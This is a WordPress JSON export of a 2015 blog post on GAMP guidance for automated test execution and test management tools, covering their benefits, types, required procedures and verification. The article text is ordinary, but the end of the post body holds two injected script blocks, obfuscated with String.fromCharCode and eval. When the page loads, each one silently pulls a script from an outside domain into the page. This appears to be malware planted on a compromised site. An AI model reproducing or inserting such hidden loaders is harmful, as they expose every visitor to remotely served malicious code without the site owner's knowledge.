{"id":35648,"date":"2015-03-23T15:21:00","date_gmt":"2015-03-23T12:21:00","guid":{"rendered":"https:\/\/smartlogic.co.il\/?p=35648"},"modified":"2015-03-23T15:21:00","modified_gmt":"2015-03-23T12:21:00","slug":"gamp-test-execution-part-2-%d7%90%d7%95%d7%98%d7%95%d7%9e%d7%a6%d7%99%d7%94-%d7%95%d7%91%d7%a7%d7%a8%d7%94","status":"publish","type":"post","link":"https:\/\/smartlogic.co.il\/staging_new\/gamp-test-execution-part-2-%d7%90%d7%95%d7%98%d7%95%d7%9e%d7%a6%d7%99%d7%94-%d7%95%d7%91%d7%a7%d7%a8%d7%94\/","title":{"rendered":"\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 &#8211; GAMP &#8211; Test Execution &#8211; part 2"},"content":{"rendered":"<h2>GAMP -Automated Test Execution and Computerized Test Management Tools<\/h2>\n<p style=\"text-align: left\">As I've promised on my last post &#8211; <a href=\"http:\/\/www.smartlogic.co.il\/gamp-test-execution\/\" target=\"_blank\" rel=\"nofollow noopener\">Good Automated Manufacturing Practice (GAMP) Test Execution &#8211; part 1 <\/a>I will now continue to elaborate on the execution of a test using automated (computerized) test tools. These tools should be conducted in accordance with the Test Plan or Strategy. This should require that all automated tools used to test GxP systems have been subjected to assessment and appropriate validation prior to their use, in order to establish s a high degree of assurance that they will perform as intended, and return accurate and secure results.<\/p>\n<p style=\"text-align: left\">Before discussing the benefits and use of automated test tools, it is useful to describe the difference between a computerized test management tool and automated testing.<\/p>\n<p style=\"text-align: left\">A computerized test management tool facilitates the task of Test Case and Test Script authoring, review and approval (pre and post execution), test execution, and test deviation management. This is accomplished using workflow enabled processes, electronic test artifact management (i.e., Test Cases, Test Scripts, Deviation Reports), and possibly electronic signatures.<\/p>\n<p style=\"text-align: left\">However, even with computerized test management, the actual test execution is performed by the tester, even when this task is aided by the presentation of on-screen test scripts and electronic capture of test evidence. The tester must still manually follow the test steps, provide inputs to the system under test, and record the test evidence.<\/p>\n<p style=\"text-align: left\">With automated test execution, the computerized test tool also executes the actual test and records the test evidence. This can significantly reduce the test execution time. Because most automated test execution is based upon initial manual test execution (where the tool often 'records' the manual actions of the tester), automated testing is most often used when executing tests during a second test cycle and is well sited to regression testing.<\/p>\n<h3 style=\"text-align: left\">Benefits of Computerized Test Management Tools and Automated Test Execution<\/h3>\n<p style=\"text-align: left\">When planned properly, automating the test activities can bring considerable benefits within the project life cycle. However, if poorly planned, computer based tools and test automation may be difficult, complex, and time consuming task, with little or no return on investment.<\/p>\n<p style=\"text-align: left\">Computerized test management tools can significantly reduce the amount of paper used during testing and provide helpful test management support. This includes the ability to report on the test activities status and facilitate test activities using workflow. In most large testing projects, the use of such tool can reduce testing timescales.<\/p>\n<p style=\"text-align: left\">Not every aspect of a computerized system can be automatically tested. A key factor in the successful use of such tools is the early identification of the types of tests that should be automated, and the types of tests to be executed manually.<\/p>\n<p style=\"text-align: left\">While computerized test management tools and automated testing can both provide benefits, they should be considered separately. Some project may benefit from the use of computerized test management tools, but may derive little benefits using automated test tools.<\/p>\n<p style=\"text-align: left\">Before deciding on the usefulness of computerized test management and automated test tools, the following points should be considered:<\/p>\n<p style=\"text-align: left\">Will the tools be used in a single project or more broadly within the organization? Typically in a large project or organization, a wide use is necessary to provide return on investment.<\/p>\n<p style=\"text-align: left\">How many test cycles are typically executed, and how much regression testing is required? This will help determine the need for automated testing.<\/p>\n<p style=\"text-align: left\">Will the tool be used by a dedicated test team, or in all projects? This has an impact on on-going administration and training requirements.<\/p>\n<p style=\"text-align: left\">The use of computerized test management and automated test tools need to be regarded as a SW development activity that has its own life cycle. These tools will have their own implementation and validation life cycle. This will place additional requirements on the test team, particularly in terms of the skills required by test script developers.<\/p>\n<p style=\"text-align: left\">The use of these tools is only effective if supported by adequate processes and if the staff has the necessary skills to use the tools effectively. The usability of a test tool is significantly enhanced if it is application-interdependent (i.e., used to test multiple application).<\/p>\n<p style=\"text-align: left\">Easy maintenance of a test suite is crucial for a successful implementation of an automated test tool.<\/p>\n<p style=\"text-align: left\">Automated test tools which include a version and configuration management can significantly improve the effectiveness and efficiency of retesting.<\/p>\n<h3 style=\"text-align: left\">Features of Computerized Test Management and Automated Test Tools<\/h3>\n<p style=\"text-align: left\">Different test management and automated test tools are used In the IT industry, and the architecture of the application under test often determines the most suited tool. Most tools are purchased as configurable off-the-shelf SW packages, and the test team then configures the package locally to meet the particular usage required.<\/p>\n<p style=\"text-align: left\">Before acquiring computerized test management tools or automated test tools, it is important that an organization understands and defines the requirements and form of use.<\/p>\n<h3 style=\"text-align: left\">Test Management Tools<\/h3>\n<p style=\"text-align: left\">Test management tools may be classified into four general types:<\/p>\n<p style=\"text-align: left\">General computerized test management tools<\/p>\n<p style=\"text-align: left\">Developer-oriented tools<\/p>\n<p style=\"text-align: left\">Functional test tools<\/p>\n<p style=\"text-align: left\">Load and performance related tools<\/p>\n<p style=\"text-align: left\"><strong>General Computerized Test Management Tools<\/strong><\/p>\n<p style=\"text-align: left\">Manage testing across the project.<\/p>\n<p style=\"text-align: left\">Facilitates authoring, review and approval of Test Cases and Test Scripts, often using workflow and electronic signatures.<\/p>\n<p style=\"text-align: left\">Allow developers, testers and project managers to track tests being run on various applications.<\/p>\n<p style=\"text-align: left\">Trace tests back to their original requirements.<\/p>\n<p style=\"text-align: left\">Summaries the defects found during the testing process.<\/p>\n<p style=\"text-align: left\">The test management tools help to determine whether changes need to be made to the automated test tools themselves, as a result of changes to the applications being tested. However, they do not provide the facility to automate test execution.<\/p>\n<p style=\"text-align: left\">Other tools do provide automated test execution (often integrated into the test management tools). The type of automated test execution tool depends to a large extent on the type of SW application under test and the type of test being executed. Three such tools are presented below<\/p>\n<p style=\"text-align: left\"><strong>Developer-Oriented Tools<\/strong><\/p>\n<p style=\"text-align: left\">Are used in unit, component and module testing to address issues such as memory leaks or other early performance problems.<\/p>\n<p style=\"text-align: left\">Are used to test specific pieces of the developer's application code independent of other units of code within the SW application.<\/p>\n<p style=\"text-align: left\">May incorporate capture-replay utilities, which run sample tests against working versions of a program, capturing the activity it generates. During the playback phase, developers can see whether or not they are generating the results they expected.<\/p>\n<p style=\"text-align: left\">Are particularly useful in testing large applications where different developers are working on different parts of the application.<\/p>\n<p style=\"text-align: left\">Test that the code being developed is acting as expected.<\/p>\n<p style=\"text-align: left\">Often contain keyword or table driven execution engines, which allow the development and execution of repeatable tests.<\/p>\n<p style=\"text-align: left\">Often have scripting capabilities, allowing testers to modify their scripts to test additional items.<\/p>\n<p style=\"text-align: left\">Can often be linked back to other packages providing Requirements Capture and Tracking capabilities, thus facilitating comprehensive requirements traceability.<\/p>\n<p style=\"text-align: left\">Are particularly useful to test what happens to the code when multiple users access the application simultaneously, or transactions are required to be submitted, or responses are achieved in tight deadlines that manual testing could not reproduce accurately or consistently.<\/p>\n<p style=\"text-align: left\">Are particularly useful for critical web based applications, because it is often difficult to predict the volatility of load change. Tools developed for this type of work can often drill down to lower levels of the code to find out where the bottlenecks are, and what is causing any delays.<\/p>\n<p style=\"text-align: left\">These tools can also be valuable when testing the application scalability.<\/p>\n<p style=\"text-align: left\"><strong>Functional Test Tool<\/strong><\/p>\n<p style=\"text-align: left\"><strong>Load and Performance Related Tools<\/strong><\/p>\n<p style=\"text-align: left\"><strong>Use of Computerized Test Management and Automated Test Tools<\/strong><\/p>\n<p style=\"text-align: left\">As stated above, Computerized Test Management Tools and Automated Test Tools can prove advantageous on large projects or within an organization. However, the use of such tools will require:<\/p>\n<p style=\"text-align: left\">Use of testing procedures (SOPs or Work Instructions) for the activities supported by the tools, such as:<\/p>\n<p style=\"text-align: left\">Test Case \/ Test Script authoring<\/p>\n<p style=\"text-align: left\">Test Case \/ Test Script review and approval<\/p>\n<p style=\"text-align: left\">Test execution<\/p>\n<p style=\"text-align: left\">Test result review and approval<\/p>\n<p style=\"text-align: left\">Test defect reporting<\/p>\n<p style=\"text-align: left\">Test defect categorization<\/p>\n<p style=\"text-align: left\">Test defect disposition<\/p>\n<p style=\"text-align: left\">Test defect closure<\/p>\n<p style=\"text-align: left\">Other activities, such as test planning and test status reporting, are less critical from a regulatory perspective and will not require formal procedures.<\/p>\n<p style=\"text-align: left\">Users of the test tools that are properly trained in the use of the procedures.<\/p>\n<p style=\"text-align: left\">Administration of the tool, including:<\/p>\n<p style=\"text-align: left\">Configuration of the tool<\/p>\n<p style=\"text-align: left\">Creation of test projects<\/p>\n<p style=\"text-align: left\">Administration of users<\/p>\n<p style=\"text-align: left\">Support and maintenance activities (backup and restore, capacity planning and performance monitoring, etc.)<\/p>\n<p style=\"text-align: left\"><a href=\"http:\/\/smartlogic.co.il\/gamp-test-execution-part-2-%d7%90%d7%95%d7%98%d7%95%d7%9e%d7%a6%d7%99%d7%94-%d7%95%d7%91%d7%a7%d7%a8%d7%94\/\" target=\"_blank\" rel=\"nofollow noopener\">Smartlogic<\/a> ,when implementing test tools, initially defines the test processes to be supported by the tool(s). These test processes should comply with the testing good practices defined by GAMP, and the specific test policies and processes of the owning organization, which should define the requirements for using this tool(s).<\/p>\n<p style=\"text-align: left\">All users of the test tools should be trained, not only in the use of the tools, but also in good testing practices.<\/p>\n<p style=\"text-align: left\">When using test tools, clear user roles and responsibilities should be defined for each test process. Appropriate technical or procedural access restrictions should ensure that only authorized users are allowed to fulfill a defined role, and that the independence of the test process can be verified and enforced.<\/p>\n<p style=\"text-align: left\">When used, computerized test management tools and automated test execution tools should provide the same level of test data integrity as an equivalent paper based process.<\/p>\n<p style=\"text-align: left\">All these conditions and requirements can be facilitated through the use of features such as:<\/p>\n<p style=\"text-align: left\">Role based authorities and user restrictions<\/p>\n<p style=\"text-align: left\">Use of workflow to enforce test processes<\/p>\n<p style=\"text-align: left\">Use of electronic or digital signatures<\/p>\n<p style=\"text-align: left\">Secure, computer generated audit trails<\/p>\n<p style=\"text-align: left\"><strong>Verification of Computerized Test Management and Automated Test Tools<\/strong><\/p>\n<p style=\"text-align: left\">The need to assure the security, integrity and availability of test data requires the appropriate selection and verification of the automated test tools (refer to GAMP 4, Appendix M4, section 4 for further details). Because such tools usually have only an indirect impact on product quality, they are considered low risk priority and do not require a detailed a lengthy validation process.<\/p>\n<p style=\"text-align: left\">The verification of a computerized test management or automated test tools should focus on demonstrating that the tools are fit for purpose as far as critical requirements are concerned. The critical requirements that should form the basis of the tool verification are:<\/p>\n<p style=\"text-align: left\">Security of the test data, facilitated by role based authorities and user restrictions, the use of electronic or digital signatures, and the use of secure, computer generated audit trails. Where the tools do not provide these features, the verification of the tool(s) should focus on establishing such security using logical or physical security controls, procedural controls and paper based audit trails.<\/p>\n<p style=\"text-align: left\">Ability of the test tool to enforce defined test processes using workflow or equivalent controls. Where this is not possible, the verification of the tool(s) should focus on the ability of the tool to provide audit trail evidence of the test processes.<\/p>\n<p style=\"text-align: left\">The scope of the verification activities may be scaled based upon risk, and should take into account the track record of the supplier and tools in the life sciences.<\/p>\n<p style=\"text-align: left\">Test data managed within test tools would not usually be determined to be an electronic record within the scope of predicate rules, and the use of electronic or digital signatures would not usually be determined within the scope of predicate rules, so that the requirements of regulations such as <a href=\"http:\/\/www.smartlogic.co.il\/21cfr-11\/\" target=\"_blank\" rel=\"nofollow noopener\">21 CFR Part 11<\/a> would not usually apply.<\/p>\n<p style=\"text-align: left\">However, there may be cases where the SW or application tested using such tools is of greater regulatory significance, for example, where the SW or application is defined as a medical device or part of it. In these cases, a more formal <a href=\"http:\/\/www.smartlogic.co.il\/category\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94\/\" target=\"_blank\" rel=\"nofollow noopener\">validation<\/a> of the test may be required:<\/p>\n<p style=\"text-align: left\">The test record may also be determined to be an electronic record (i.e., an acceptance record under 21 CFR Part 820 Subpart H &#8211; Acceptance Activities).<\/p>\n<p style=\"text-align: left\">Any associated signatures may be determined to be electronic or digital signatures (i.e., under 21 CFR Part 820.80).<\/p>\n<p style=\"text-align: left\">The test management tools may need to comply with the requirements of <a href=\"http:\/\/www.smartlogic.co.il\/21cfr-11\/\" target=\"_blank\" rel=\"nofollow noopener\">21 CFR Part 11<\/a>, and other regulator guidance in electronic records and digital signatures<\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The execution of a test using automated (computerized) test tools.<\/p>\n","protected":false},"author":2,"featured_media":572,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[38,179,185,190,212,394,408,452,475,477,488,532,538,539],"class_list":["post-35648","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-17","tag-21-cfr-part-11-plc-hmi-validation-iq-oq-hds-frs-sds-urs","tag-gamp","tag-gxp-systems","tag-hmi-en","tag-ilan-shaya","tag-test-execution","tag-test-tools","tag-452","tag-475","tag-477","tag-488","tag-532","tag-538","tag-539"],"_links":{"self":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35648","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/comments?post=35648"}],"version-history":[{"count":0,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35648\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media\/572"}],"wp:attachment":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media?parent=35648"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/categories?post=35648"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/tags?post=35648"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}